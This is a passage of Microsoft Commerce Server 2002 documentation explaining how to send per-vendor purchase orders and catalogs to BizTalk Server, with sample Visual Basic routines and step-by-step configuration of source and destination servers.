Commerce Server also provides a Component Object Model (COM) object designed to allow programmatic assignment of vendors to catalogs. This object also provides methods to, for example, retrieve a list of available vendors, and return vendor information given a particular catalog. For more information about this object, see CatalogToVendorAssociation Object.


Configuring Commerce Server for Order Form Integration

The Commerce Server Solution Sites include conditional code for submitting per-vendor purchase orders to BizTalk Server, allowing these purchase orders to be sent to the relevant vendors. This functionality is built into the Solution Sites, and is configured by using Commerce Server Manager. For more information about how to configure a Commerce Server Solution Site to create purchase orders for each vendor associated with a product in an order form, see Configuring Commerce Server to Work with BizTalk Server. Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.


Overview of Processing

The following Microsoft Visual Basic code shows the processing that occurs in three functions involved in order form integration with BizTalk Server. Note the fact that the first routine calls the second two routines in its innermost loop.

' Always call this routine when processing orders. It will
' return immediately if BizTalk PO integration is not enabled...
Sub InvokeBizTalk(ByVal mscsOrderGrp)
    Dim sOrderName, mscsOrderForm, oVendor, sXML
    Dim sVendorQualID, sVendorQualValue

    ' Do not do anything unless BizTalk PO integration is enabled...
    If dictConfig.i_BizTalkOptions = BIZTALK_PO_XFER_ENABLED Then

        ' Process each order form in the order group...
        For Each sOrderName In mscsOrderGrp.Value.OrderForms
            Set mscsOrderForm = _
                mscsOrderGrp.Value(ORDERFORMS).Value(sOrderName)

            ' Process each vendor known to the order form...
            For Each oVendor In mscsOrderForm.value("_vendors")

                ' Skip the default vendor, which
                ' is the local organization...
                If StrComp(oVendor.vendorID, DEFAULT_ORDERFORM, _
                                             vbTextCompare) <> 0 Then

                    ' Call second function defined here to
                    ' retrieve an XML string containing only
                    ' items associated with the current vendor...
                    sXML = GetXMLForVendorItems(mscsOrderForm, oVendor)

                    ' Get the vendor delivery information from
                    ' the orderform item...
                    sVendorQualID = _
                           mscsOrderForm.items( _
                                oVendor.itemindexes(0)).vendor_qual)
                    sVendorQualValue = _
                           mscsOrderForm.items( _
                                oVendor.itemindexes(0)).vendor_qual_value

                    ' Call third function defined here to submit
                    ' the single vendor PO to BizTalk Server...
                    Call SubmitUsingBizTalk(sXML, oVendor.vendorID, _
                                                     sVendorQualID, _
                                                  sVendorQualValue)
                End If
            Next
        Next
    End If
End Sub

' Returns an XML string containing the PO for the specified vendor...
Function GetXMLForVendorItems(ByVal mscsOrderForm, ByVal oVendor)
    Dim oXMLTransforms, oXMLSchema, oOrderFormXML, oXMLDoc
    Dim oNode, oAttribute
    Dim sFilePath

    ' Create a DictionaryXMLTransforms object...
    Set oXMLTransforms = _
        Server.CreateObject("Commerce.DictionaryXMLTransforms")

    ' Create a PO schema object...
    sFilePath = Server.MapPath("\" & MSCSAppFrameWork.VirtualDirectory) _
                & "\poschema.xml"
    Set oXMLSchema = oXMLTransforms.GetXMLFromFile(sFilePath)

    ' Create an XML version of the order form...
    Set oOrderFormXML = _
      oXMLTransforms.GenerateXMLForDictionaryUsingSchema(mscsOrderForm, _
                                                         oXMLSchema)

    ' Create a copy of the XML version of the order form...
    Set oXMLDoc = Server.CreateObject("MSXML.DOMDOCUMENT")
    oXMLDoc.loadXML oOrderFormXML.xml

    ' For each 'Item' node in the XML order form copy...
    For Each oNode In oXMLDoc.documentElement.childNodes
        If (oNode.nodeName = "Items") Then

            ' If this vendor ID of the 'Item' node is not the
            ' same as the passed vendor ID, discard the node...
            For Each oAttribute In oNode.Attributes
                If (oAttribute.nodeName = "vendorid") Then
                    If Not(oAttribute.nodeValue = oVendor.vendorID) Then
                        oNode.parentNode.removeChild oNode
                    End If
                    Exit For
                Else
                End If
            Next

        End If
    Next

    ' Return an XML string containing the remaining 'Item' nodes,
    ' all of which correspond to the passed vendor...
    GetXMLForVendorItems = oXMLDoc.xml
End Function

' Submit the vendor-specific PO to BizTalk Server...
Function SubmitUsingBizTalk(ByVal sXML, ByVal sVendorName, _
                            ByVal sDestQualID, ByVal sDestQualValue)
    Dim sSubmitType, sDocName
    Dim sSourceQualID, sSourceQualValue
    Dim oDBConfig, oOrg, sID, sName, sDef, oRes
    Dim oInterchange

    ' Retrieve the source BizTalk config values locally...
    sSubmitType = dictConfig.s_BizTalkSubmittypeQueue
    sDocName = dictConfig.s_BizTalkOrderDocType
    sSourceQualID = dictConfig.s_BizTalkSourceQualifierID
    sSourceQualValue = dictConfig.s_BizTalkSourceQualifierValue

    ' Create a BizTalk Interchange object and call its Submit
    ' routine using the passed and gathered parameters...
    Set oInterchange = Server.CreateObject("BizTalk.Interchange")
    oRes = oInterchange.Submit(sSubmitType, _
                               sXML, _
                               sDocName, _
                               sSourceQualID, _
                               sSourceQualValue, _
                               sDestQualID, _
                               sDestQualValue)
End Function


Configuring Commerce Server to Work with BizTalk Server

You use the App Default Config resource to set properties that enable Commerce Server 2002 and BizTalk Server to work together.

To configure Commerce Server to work with BizTalk Server

  1. Click Start, point to Programs, point to Microsoft Commerce Server, and then click Commerce Server Manager.
  2. Expand Commerce Server Manager, expand Commerce Sites, expand the site you want to use with BizTalk Server (for example, Retail), and then expand Site Resources.
  3. In the left pane, right-click App Default Config, and then click Properties.
  4. In the App Default Config Properties dialog box, on the Properties tab, do the following:
    Use this | To do this
    BizTalk Catalog Doc Type | Type the document definition name that is required by BizTalk Server for catalogs (for example, CatalogTransferDoc).
    BizTalk Options | Type 1 to enable integration with BizTalk Server for document exchange; type 0 to disable integration.
    BizTalk PO Doc Type | Type the document definition name that is required by BizTalk Server for purchase orders (for example, PurchaseOrder).
    BizTalk Source Org Qualifier | Type the alias qualifier for this site in BizTalk Server (for example, MyCompany).
    BizTalk Source Org Qualifier Value | Type the alias value for this site in BizTalk Server (for example, Sender).
    BizTalk Submit Type | Type 1 to submit documents to BizTalk Server asynchronously.
  5. If BizTalk Server is not installed on the same computer as Commerce Server, on the Connection Strings tab, click Modify. In the Data Link Properties dialog box, specify the connection string to the BizTalk Server computer.
  6. Click OK.

Note

  • After you change a property value in Commerce Server Manager, you must unload the application from memory on each Web server for the change to take effect. For instructions, see Unloading an Application from Memory.

See Also

Setting Up the Source Server

Setting Up the Destination Server

Setting Up Your Catalogs for BizTalk Server


Setting Up the Source Server

To set up a messaging configuration between two organizations, you must set up the source server and the destination server. For example, your BizTalk Server is the source server, and the vendor BizTalk Server is the destination server.

Perform the steps described in this section to set up purchase order exchange on the source server. For instructions about setting up the destination server, see Setting Up the Destination Server.

This section contains:

  • Example: Configuring the Source Server for Exchanging Catalogs
  • Example: Configuring the Source Server for Exchanging Purchase Orders
  • Copying and Importing Required Files for the Source Server
  • Creating Source and Destination Organizations on the Source Server
  • Creating Document Definitions on the Source Server
  • Creating Envelopes on the Source Server
  • Creating a Messaging Port on the Source Server
  • Creating a Channel on the Source Server


Example: Configuring the Source Server for Exchanging Catalogs

The following tables list sample values for the App Default Config and BizTalk Server properties needed to configure a source server for catalog exchange.

Sample Values for App Default Config Properties

Set this | To
BizTalk Catalog Doc Type | CatalogTransferDoc
BizTalk Options | 1
BizTalk Source Org Qualifier | MyCompanyCatalog
BizTalk Source Org Qualifier Value | CatalogSender
BizTalk Submit Type | 1

Sample Values for Source Organization Properties

Set this | To
Organization Name | Home Organization
Customer Name | MyCompanyCatalog
Qualifier | MyCompanyCatalog
Value | CatalogSender
Application Name | CatalogApplication

Sample Values for Destination Organization Properties

Set this | To
Organization Name | CatalogDestination
Customer Name | MyCompanyCatalog
Qualifier | MyCompanyCatalog
Value | CatalogReceiver

Sample Values for Document Properties

Set this | To
Document Name | CatalogTransferDoc
Document Specification | Type the location of your catalog schema: CatalogXMLSchema.xml. For information about creating catalog XDR schema, see Creating Catalog XDR Schema.

Sample Values for Assigning a Messaging Port to an Organization

Set this | To
Messaging Port Name | CatalogPortToDestination
File Address | Drive: <destination server name>\<shared folder>\CatalogSend.xml Use a valid destination server as <destination server name>. Use a valid shared folder on the destination computer as <shared folder>.

Sample Values for Assigning a Channel from an Application

Set this | To
Name | CatalogChannelToSource
Source Application Name | CatalogApplication
Organization Identifier | BizTalkCatalog/CatalogSender (Default)
Inbound Document | CatalogTransferDoc
Outbound Document | CatalogTransferDoc
Advanced Properties | Click Advanced, and then click Properties. In the Advanced Properties dialog box, set the fully qualified user and password, and then select the type of action to overwrite.

See Also

Configuring Commerce Server to Work with BizTalk Server

Setting Up the Source Server

Setting Up the Destination Server

Setting Up Your Catalogs for BizTalk Server


Example: Configuring the Source Server for Exchanging Purchase Orders

The following tables list examples of the values you enter in App Default Config and BizTalk Server to configure a source server for purchase order exchange.

Sample Values for App Default Config Properties

Set this | To
BizTalk Options | 1
BizTalkPO Doc Type | PurchaseOrder
BizTalk Source Org Qualifier | MyCompany
BizTalk Source Org Qualifier Value | Sender
BizTalk Submit type | 1

Sample Values for Source Organization Properties

Set this | To
Organization Name | Home Organization
Customer Name | MyCompany
Qualifier | MyCompany
Value | Sender
Application Name | POApplication

Sample Values for Destination Organization Properties

Set this | To
Organization Name | Destination
Customer Name | MyCompany
Qualifier | MyCompany
Value | Receiver

Sample Values for Document Properties

Set this | To
Document Name | PurchaseOrder
Document Specification | .../Microsoft/POSchema.xml

Sample Values for Envelope Properties

Set this | To
Envelope Name | POEnvelope

Sample Values for Messaging Port to an Organization

Set this | To
Messaging Port Name | OutPortToDestination
HTTP Address | http://<destination server name>/Retail/ReceiveStandard.asp Use a valid destination server as <destination server name>.
Envelope | POEnvelope
Envelope Identifier | MyCompany / Receiver (Default)

Sample Values for Channel from an Application

Set this | To
Name | OutChannelToDestination
Source Application Name | POApplication
Organization Identifier | BizTalk/Sender (Default)
Inbound Document | PurchaseOrder
Outbound Document | PurchaseOrder

See Also

Configuring Commerce Server to Work with BizTalk Server

Setting Up the Source Server

Setting Up the Destination Server

Example: Configuring the Source Server for Exchanging Catalogs

Example: Configuring the Destination Server for Purchase Orders

Setting Up Your Catalogs for BizTalk Server


Copying and Importing Required Files for the Source Server

Both the source and destination servers must contain the same POSchema.xml and CatalogXMLSchema.xml files.

Note

  • The source and destination servers must have the same catalogs of products; otherwise the purchase order submission will fail. For information about setting up your catalogs, see Setting Up Your Catalogs for BizTalk Server.

To copy POSchema.xml to the source server

To import CatalogXMLSchema.xml into BizTalk Editor

To copy POSchema.xml to the source server

  • Copy the POSchema.xml file located in <drive:>\inetpub\wwwroot\<site name> to the path <drive:>\Program Files\Microsoft BizTalk Server\BizTalkServerRepository\DocSpecs\Microsoft.

To import CatalogXMLSchema.xml into BizTalk Editor

  1. Open BizTalk Editor. Click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Editor.
  2. In BizTalk Editor, on the Tools menu, click Import.
  3. Select XDR Schema, and then click OK.
  4. In the Import XDR Schema dialog box, in the Look in box, navigate to <drive>:\Program Files\Microsoft Commerce Server 2002, select CatalogXMLSchema.xml, and then click Open.
  5. On the File menu, click Store to WebDAV.
  6. In the Store to WebDAV dialog box, in the File name box, type CatalogXMLSchema.xml, and then click Save.
  7. Close BizTalk Editor.

The CatalogXMLSchema.xml file is imported into BizTalk Editor and stored in Web Distributed Authoring and Versioning (WebDAV). The file is now a specification that has the appropriate header information and specified structure so it can be used for catalog exchange.

See Also

Copying Required Files for the Destination Server

Setting Up Your Catalogs for BizTalk Server


Creating Source and Destination Organizations on the Source Server

The source BizTalk Server is the supplier. An organization can be the source or the destination in a messaging port, distribution list, or channel. An organization can represent an external trading partner, your own company, or a business unit within a trading partner or your company. Each organization has unique identifiers that identify it to BizTalk Server and to other trading partner organizations.

On the source server, you must create both a source organization and a destination organization. A source organization is a trading partner organization that has been designated in a channel as the source of documents. A destination organization is a trading partner organization designated in a messaging port as the destination for documents.

To create a source organization on the source server

To create a destination organization on the source server

To create a source organization on the source server

  1. On the source BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
  2. In BizTalk Messaging Manager, in the Configuration Options dialog box, select the Don't show this dialog box again check box, and then click OK. Click Cancel to close the dialog box.
  3. In BizTalk Messaging Manager, in the left pane, in the Search for other items area, click Organizations, and then click Search Now to display the list of available organizations.
  4. In the list of available organizations, double-click Home Organization.
  5. In the Organization Properties dialog box, on the Identifiers tab, click Add.
  6. In the New Identifier dialog box, verify the Custom option is selected, and then type MyCompany.
  7. In the Qualifier box, type MyCompany.
  8. In the Value box, type the name of the sender (for example, Sender).

    The Value must be the same as the value entered in the Commerce Server App Default Config Properties dialog box, in the BizTalk Source Org Qualifier Value box. If the values are different, the purchase order submission fails and no error message appears.

    For information about setting App Default Config properties, see Configuring Commerce Server to Work with BizTalk Server.

  9. Select the Set as default check box to specify the sender (for example, Sender) as the default organization, and then click OK.

    You must designate a default organization before you can create a messaging port. The default organization can serve as either the source or the destination for each new messaging port. You can designate a different default organization at any time and then create messaging ports that use the new default organization.

  10. On the Applications tab, click Add, and in the New Application dialog box, type the application name (for example, POApplication for purchase orders and CatalogTransferDoc for catalog transfers), and then click OK.
  11. In the New Application dialog box, click OK.
  12. In the Organization Properties dialog box, click OK.

The source organization and sender on the source BizTalk Server are created. For example, the source organization is "Home Organization" and the sender is "Sender." You have specified the sender as the default organization.

To create a destination organization on the source server

  1. In BizTalk Messaging Manager, on the File menu, point to New, and then click Organization.
  2. In the New Organization dialog box, on the General tab, type the name of the destination organization (for example, DestinationOrg).

    The name that you type here is the name that is displayed on Commerce Server Business Desk when you associate a vendor with a catalog. The name appears in a list of available vendors from which you can select the vendor you want.

  3. In the Comments box, type any necessary comments about the destination organization.
  4. On the Identifiers tab, click Add.
  5. In the New Identifier dialog box, verify the Custom option is selected, and then type MyCompany.
  6. In the Qualifier box, type MyCompany.
  7. In the Value box, type the name of the receiver (for example, Receiver), and then click OK.
  8. In the New Organization dialog box, click OK.

The destination organization and receiver on the source BizTalk Server are created. For example, "DestinationOrg" is the destination organization and "Receiver" is the receiver.

See Also

Configuring Commerce Server to Work with BizTalk Server

Creating Document Definitions on the Source Server


Creating Document Definitions on the Source Server

A document definition represents a business document in a messaging port, channel, or distribution list. A document definition provides a pointer to a specification that defines the document. A document definition can be associated with any number of messaging ports, channels, and distribution lists.

To create a document definition with an associated XML file

  1. On the source BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
  2. In BizTalk Messaging Manager, on the File menu, point to New, and then click Document Definition.
  3. In the New Document Definition dialog box, in the Document definition name box, type a name for the document definition (for example, PurchaseOrder or CatalogTransferDoc).

    The Document definition name must be the same as the value entered in the Commerce Server App Default Config Properties dialog box, in the BizTalk PO Doc Type box. If the values are different, the purchase order submission fails.

    For information about setting App Default Config properties, see Configuring Commerce Server to Work with BizTalk Server.

  4. Select the Document specification check box, and then click Browse.
  5. In the Select a Document Specification from the WebDAV Repository dialog box, double-click the Microsoft folder.
  6. Select the .xml file (for example, POSchema.xml), and then click Open.
  7. In the New Document Definition dialog box, click OK.

The purchase order is created with an associated custom Extensible Markup Language (XML) file.

See Also

Configuring Commerce Server to Work with BizTalk Server

Creating Envelopes on the Source Server


Creating Envelopes on the Source Server

An envelope contains a header and sometimes a footer that prefixes or encapsulates electronic business data for transporting the data to a destination organization. BizTalk Server uses the envelope properties specified in a messaging port to determine the envelope format that is used to prepare documents for transport.

To create an envelope for the source server

  1. On the source BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
  2. In BizTalk Messaging Manager, on the File menu, point to New, and then click Envelope.
  3. In the New Envelope dialog box, in the Envelope name box, type the name of the envelope (for example, POEnvelope), and then click OK.

If you do not assign a custom Extensible Markup Language (XML) file to the envelope you just created, then the default XML file is assigned to the envelope.

See Also

Configuring Commerce Server to Work with BizTalk Server

Creating a Messaging Port on the Source Server


Creating a Messaging Port on the Source Server

A messaging port is a set of rules that you use BizTalk Messaging Manager to configure, with which you can direct how documents are enveloped, secured, and transported to a designated destination organization. The documents that a messaging port transports originate from the source that is specified in an associated channel. A channel is a set of properties that you can use to provide BizTalk Server with the rules for processing a document that it receives.

In a messaging port, you designate a destination organization or destination application for the documents.

To create a messaging port on the source server

  1. On the source BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
  2. In BizTalk Messaging Manager, on the File menu, point to New, point to Messaging Port, and then click To an Organization.
  3. In the New Messaging Port Wizard, in the General Information screen, in the Name box, type the name of the port (for example, OutPortToDestination), and then click Next.
  4. In the Destination Organization screen, select the Organization option, and then click Browse to the right of the Name box.
  5. In the Select an Organization dialog box, select a destination organization (for example, DestinationOrg), and then click OK.
  6. Click Browse to the right of the Address box.
  7. In the Primary Transport dialog box, in the Transport type box, select HTTP from the drop-down list.
  8. In the Address box, type http://<destination server name>/<site name>/ReceiveStandard.asp, and then click OK.

    This is the URL for the vendor to which you are sending purchase orders.

  9. Click Next.
  10. In the Envelope Information screen, in the Envelope information box, select POEnvelope from the drop-down list, and then click Next.
  11. In the Security Information screen, verify the Create a channel for this messaging port check box is selected.
  12. In the Channel type box, select From an application from the drop-down list, and then click Finish.
  13. In the General Information screen, click Cancel.

The messaging port between your source organization and the destination organization is created.

See Also

Creating a Channel on the Source Server


Creating a Channel on the Source Server

A channel is a set of properties that you use to provide BizTalk Server with the rules for processing a document that it receives. After a channel processes a document, the document is passed to its associated messaging port or distribution list to be transported to the specified destination. You can create one or more channels for a messaging port or distribution list.

To create a channel on the source server

  1. On the source BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
  2. In BizTalk Messaging Manager, in the left pane, click the Messaging Ports link in the Search for other items area, and then click Search Now.
  3. Select the messaging port that the channel will be associated with (for example, OutPortToDestination).
  4. On the File menu, point to New, point to Channel, and then click From an Application.
  5. In the New Channel Wizard, in the General Information screen, in the Name box, type the name of the channel (for example, OutChannelToDestination), and then click Next.
  6. In the Source Application screen, verify the Application option is selected.
  7. In the Name box, select the name of the application from the drop-down list (for example, POApplication for purchase order and CatalogTransferDoc for catalog transfer).
  8. In the Organization identifier box, verify <source organization>/ <identifier value> (Default) as the identifier, (for example, My Company / Sender (Default) and then click Next.
  9. In the Inbound Document screen, click Browse to the right of the Inbound document definition name box.
  10. In the Select a Document Definition dialog box, select the document definition (for example, PurchaseOrder), and then click OK.
  11. In the Inbound Document screen, click Next.
  12. In the Outbound Document screen, click Browse to the right of the Outbound document definition name box.
  13. In the Select a Document Definition dialog box, select the document definition (for example, PurchaseOrder), and then click OK.
  14. In the Outbound Document screen, click Next.
  15. In the Document Logging screen, click Next.
  16. In the Advanced Configuration screen, click Advanced.
  17. In the Override Messaging Port Defaults dialog box, click Properties.
  18. In the BizTalk SendHTTPX Properties dialog box, in the User name box, type the fully qualified user. For example, REDMOND\<user name>.
  19. In the Password box, type the user password, and then click OK.
  20. In the Override Messaging Port Defaults dialog box, click OK.
  21. In the Advanced Configuration screen, click Finish.

A channel is created from the Home Organization for the messaging port that you created in the procedure, "To create a messaging port on the source server."

See Also

Setting Up the Destination Server


Setting Up the Destination Server

To set up a messaging port between two organizations, you must set up the source server and the destination server. For example, your BizTalk Server is the source server and the vendor BizTalk Server is the destination server.

Perform the steps described in this section to set up purchase order exchange on the destination server. For instructions about setting up the source server, see Setting Up the Source Server.

This section contains:

  • Example: Configuring the Destination Server for Purchase Orders
  • Copying Required Files for the Destination Server
  • Creating a Destination Organization on the Destination Server
  • Creating Document Definitions on the Destination Server
  • Creating a Messaging Port on the Destination Server
  • Creating a Channel on the Destination Server


Example: Configuring the Destination Server for Purchase Orders

The following tables list examples of the values you enter in BizTalk Server to configure a destination server for purchase order exchange.

Sample Values for Destination Organization Properties

Set this | To
Organization Name | Home Organization
Customer Name | MyCompany
Qualifier | MyCompany
Identifier Value | Receiver
Application Name | POApplication

Sample Values for Source Organization Properties

Set this | To
Organization Name | Source
Customer Name | MyCompany
Qualifier | MyCompany
Identifier Value | Sender

Sample Values for Document Properties

Set this | To
Document Name | PurchaseOrder
Document Specification | .../Microsoft/POSchema.xml

Sample Values for Assigning a Messaging Port to an Application

Set this | To
Port Name | InPortFromSource
Application Name | POApplication
HTTP Address | http://<destination server name>/Retail/_recvpo.asp Use a valid destination server as <destination server name>.
Envelope | POEnvelope
Envelope Identifier | MyCompany / Receiver (Default)

Sample Values for Assigning a Channel from an Organization

Set this | To
Name | InChannelFromSource
Source Application Name | POApplication
Organization Identifier | MyCompany/Sender (Default)
Inbound Document | PurchaseOrder
Outbound Document | PurchaseOrder

See Also

Configuring Commerce Server to Work with BizTalk Server

Setting Up the Source Server

Setting Up the Destination Server

Setting Up Your Catalogs for BizTalk Server

Example: Configuring the Source Server for Exchanging Catalogs


Copying Required Files for the Destination Server

Both the source and destination servers must contain the same POSchema.xml file.

Note

  • The source and destination servers must have the same catalogs of products; otherwise the purchase order submission will fail. For information about setting up your catalogs, see Setting Up Your Catalogs for BizTalk Server.

To copy ReceiveStandard.asp to the destination server

  • Copy the ReceiveStandard.asp file located in <drive:>\Program Files\Microsoft BizTalk Server\SDK\Samples to the path <drive:>\inetpub\wwwroot\<site name>.

To copy POSchema.xml to the destination server

  • Copy the POSchema.xml file located in <drive:>\inetpub\wwwroot\<site name> to the path <drive:>\Program Files\Microsoft BizTalk Server\BizTalkServerRepository\DocSpecs\Microsoft.

See Also

Copying and Importing Required Files for the Source Server

Setting Up Your Catalogs for BizTalk Server


Creating a Destination Organization on the Destination Server

The destination BizTalk Server is the vendor. An organization can be the source or the destination in a messaging port, distribution list, or channel. An organization can represent an external trading partner, your own company, or a business unit within a trading partner or your company. Each organization has unique identifiers that identify it to BizTalk Server and to other trading partner organizations.

To support basic authentication, you use the ReceiveStandard.asp file that is shipped with BizTalk Server. The ReceiveStandard.asp page collects information and submits it to BizTalk Server. To implement a secure Web site, you must set privileges on ReceiveStandard.asp.

On the destination server, you must create both a source organization and a destination organization.

To set privileges on ReceiveStandard.asp

To create a destination organization on the destination server

To create a source organization

To set privileges on ReceiveStandard.asp

  1. Click Start, point to Programs, point to Administration Tools, and then click Internet Services Manager.
  2. Expand the <server name>, expand the default website, select the site (for example, Retail), and then right-click ReceiveStandard.asp.
  3. In the File Security tab, in the Anonymous access and authentication control section, click Edit.
  4. In the Authentication Methods dialog box, in the Anonymous access section, click Edit.
  5. In the Anonymous User Account dialog box, in the Username box, type the Windows user name of the account used to access this computer. In the Password box, type the Windows user account password.
  6. In the Anonymous User Account dialog box, click OK.
  7. In the Authentication Methods dialog box, click OK.
  8. In the ReceiveStandard.asp Properties dialog box, click OK.
  9. Close Internet Services Manager.

ReceiveStandard.asp is set up for secure operations. Access to the site is locked and the receiver of a purchase order exchange or catalog exchange will need to know the user account and password.

To create a destination organization on the destination server

  1. On the destination BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
  2. In BizTalk Messaging Manager, in the Configuration Options dialog box, click Cancel to close the dialog box.
  3. In the left pane, in the Search for other items area, click Organizations, and then click Search Now to display the list of available organizations.
  4. In the list of available organizations, double-click Home Organization.
  5. In the Organization Properties dialog box, on the Identifiers tab, click Add.
  6. In the New Identifier dialog box, verify the Custom option is selected, and then type MyCompany.
  7. In the Qualifier box, type MyCompany.
  8. In the Value box, type the name of the source organization (for example, Receiver).
  9. Select the Set as default check box to set the source organization as the default organization, and then click OK.
You must designate a default organization before you can create a messaging port. The default organization can serve as either the source or the destination for each new messaging port. You can designate a different default organization at any time and then create messaging ports that use the new default organization.
  1. On the Applications tab, click Add.
  2. In the New Application dialog box, type the application name (for example, POApplication), and then click OK.
  3. In the New Organization dialog box, click OK.

The source organization on the destination server is created and specified as the default organization.

To create a source organization

  1. In BizTalk Messaging Manager, on the File menu, point to New, and then click Organization.
  2. In the New Organization dialog box, on the General tab, in the Organization name box, type the name of the destination organization (for example, Source).
  3. In the Comments box, type any necessary comments about the destination organization.
  4. On the Identifiers tab, click Add.
  5. In the New Identifier box, select the Custom option, and then type MyCompany.
  6. In the Qualifier box, type MyCompany.
  7. In the Value box, type the name of the receiver (for example, Sender), and then click OK.
  8. In the New Organization dialog box, click OK.

The destination organization is created.

See Also

Creating Document Definitions on the Destination Server


Creating Document Definitions on the Destination Server

A document definition represents a business document in a messaging port, channel, or distribution list. A document definition provides a pointer to a specification that defines the document. A document definition can be associated with any number of messaging ports, channels, and distribution lists.

The destination BizTalk Server is the vendor.

To create a document definition with an associated XML file

  1. On the destination BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
  2. In BizTalk Messaging Manager, on the File menu, point to New, and then click Document Definition.
  3. In the New Document Definition dialog box, in the Document definition name box, type a name for the document definition (for example, PurchaseOrder).
  4. Select the Document specification dialog box, and then click Browse.
  5. In the Select a Document Specification from the WebDAV Repository dialog box, double-click the Microsoft folder.
  6. Select an Extensible Markup Language (XML) file (for example, POSchema.xml), and then click Open.
  7. In the New Document Definition dialog box, click OK.

A purchase order is created with an associated custom XML file.

See Also

Creating a Messaging Port on the Destination Server


Creating a Messaging Port on the Destination Server

The destination BizTalk Server is the vendor.

To create a messaging port on the destination server

  1. On the destination BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
  2. In BizTalk Messaging Manager, on the File menu, point to New, point to Port, and then click To an Application.
  3. In the New Messaging Port Wizard, in the General Information screen, in the Name box, type the name of the port (for example, OnPortFromSource), and then click Next.
  4. In the Destination Application screen, select the Application option, and then in the Name box, select the name of the application (for example, POApplication) from the drop-down list.
  5. In the Primary Transport section, click Browse to the right of the Address box.
  6. In the Primary Transport dialog box, in the Transport type box, select HTTP from the drop-down list.
  7. In the Address box, type http://<destination server name>/<site name>/_recvpo.asp, and then click OK.
  8. Click Next.
  9. In the Envelope Information screen, leave the Envelope information box blank because the default XML file is being used.
  10. Click Next.
  11. In the Security Information screen, verify the Create a channel for this messaging port check box is selected.
  12. In the Channel type box, select From an application from the drop-down list, and then click Finish.
  13. In the General Information screen, click Cancel.

The messaging port between the Home Organization and the destination organization is created.

See Also

Creating a Channel on the Destination Server


Creating a Channel on the Destination Server

A channel is a set of properties that you can use to provide BizTalk Server with the rules for processing a document that it receives. After a channel has processed a document, it is passed to its associated messaging port or distribution list to be transported to the specified destination. You can create one or more channels for a messaging port or distribution list.

The destination BizTalk Server is the vendor.

To create a channel on the destination server

  1. On the destination BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
  2. In BizTalk Messaging Manager, in the left pane, click the Messaging ports link in the Search for other items area, and then click Search Now.
  3. Select the port that the channel will be associated with (for example, SubmitPort).
  4. On the File menu, point to New, point to Channel, and then click From an Organization.
  5. In the New Channel Wizard, in the General Information screen, in the Name box, type the name of the channel (for example, InChannelFromSource), and then click Next.
  6. In the Source Organization screen, verify the Organization option is selected.
  7. Click Browse to the right of the Name box.
  8. In the Select an Organization dialog box, select the destination organization (for example, MySupplier), and then click OK.
  9. In the Organization identifier box, verify <source organization>/ <identifier value> (Default) as the identifier, and then click Next.
  10. In the Inbound Document screen, click Browse to the right of the Inbound document definition name box.
  11. In the Select a Document Definition dialog box, select the document definition (for example, PurchaseOrder), and then click OK.
  12. In the Inbound Document screen, click Next.
  13. In the Outbound Document screen, click Browse to the right of the Outbound document definition name box.
  14. In the Select a Document Definition dialog box, select the document definition (for example, PurchaseOrder), and then click OK.
  15. In the Outbound Document screen, click Next.
  16. In the Document Logging screen, click Next.
  17. In the Advanced Configuration screen, click Finish.

The channel between the Home Organization/application and the Home Organization for the source/sender messaging port is created.


Setting Up Your Catalogs for BizTalk Server

When you set up an agreement with a vendor, the vendor ID is made available to Commerce Server. The vendor ID is the organization name that you specify for the vendor when you create a destination organization for the source server. For more information, see Creating Source and Destination Organizations on the Source Server.

Commerce Server displays the vendor ID in Commerce Server Business Desk. It displays those trading partners (organizations) that support the same document type as your organization, and thus have compatible document routing. You can then use Business Desk to associate the vendor ID and the catalog.

More than one catalog can be associated with a given vendor. You can also specify a vendor at the product level; however, if you do this you must also customize _additem.asp.

If you name a vendor Default, Commerce Server recognizes your own site as the vendor.

Note

  • When a user orders an item from your Web site, the item must exist in the catalog of the destination organization. If the destination organization does not have the item in its catalog, BizTalk Server will not be able to send the purchase order from your site to the vendor. It will write an error message to the event log instead.

To associate a catalog with a vendor

  1. From Commerce Server Business Desk, in Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog you want to add the vendor ID to, and then click Open on the toolbar.

    In the Catalog Editor - <catalog name> screen, in the Vendor ID box, click the ellipsis to display a list of vendor identifications. Select the appropriate vendor identification for this catalog.

    Commerce Server updates the list of vendors automatically each time you create another agreement with a vendor by using BizTalk Server.

  3. To save your change to the catalog and return to the Catalogs screen, click Save and go back on the toolbar.

See Also

Example: Configuring the Source Server for Exchanging Catalogs

Creating a Base Catalog

Sending a Catalog to a Trading Partner


Extending the Content Selection Framework

The Content Selection Framework (CSF) is a platform-level framework for building targeted content delivery applications on the Internet. The targeted advertising and discount features of Microsoft Commerce Server 2002 are built by using CSF. The framework provides the means for building new types of content delivery applications and makes it easy to customize and extend the advertising and discount delivery systems.

This section contains:

  • Extending the Capabilities of the Content Selection Framework. Describes how to extend the scoring, selection, recording, and cache loading capabilities of the CSF.
  • Content Selection Framework Concepts. Describes scoring, filtering, tracing and debugging, selecting, formatting, and recording events in the CSF.
  • Objects and Components of the Content Selection Framework. Describes the functionality of the objects and components of the CSF.
  • Lifecycle of a Request for a Targeted Advertisement Describes the steps involved in targeting advertisements.
  • Performance and Scalability of the Content Selection Framework. Describes how to ensure that your custom extensions to the CSF maintain maximum performance.
  • Creating the CSF Headlines Sample. Describes how to install and run the custom CSF Headlines sample.
  • Content Selection Framework Component Reference. Lists the components associated with the CacheManager object, the CSF pipelines, and the framework.


Extending the Capabilities of the Content Selection Framework

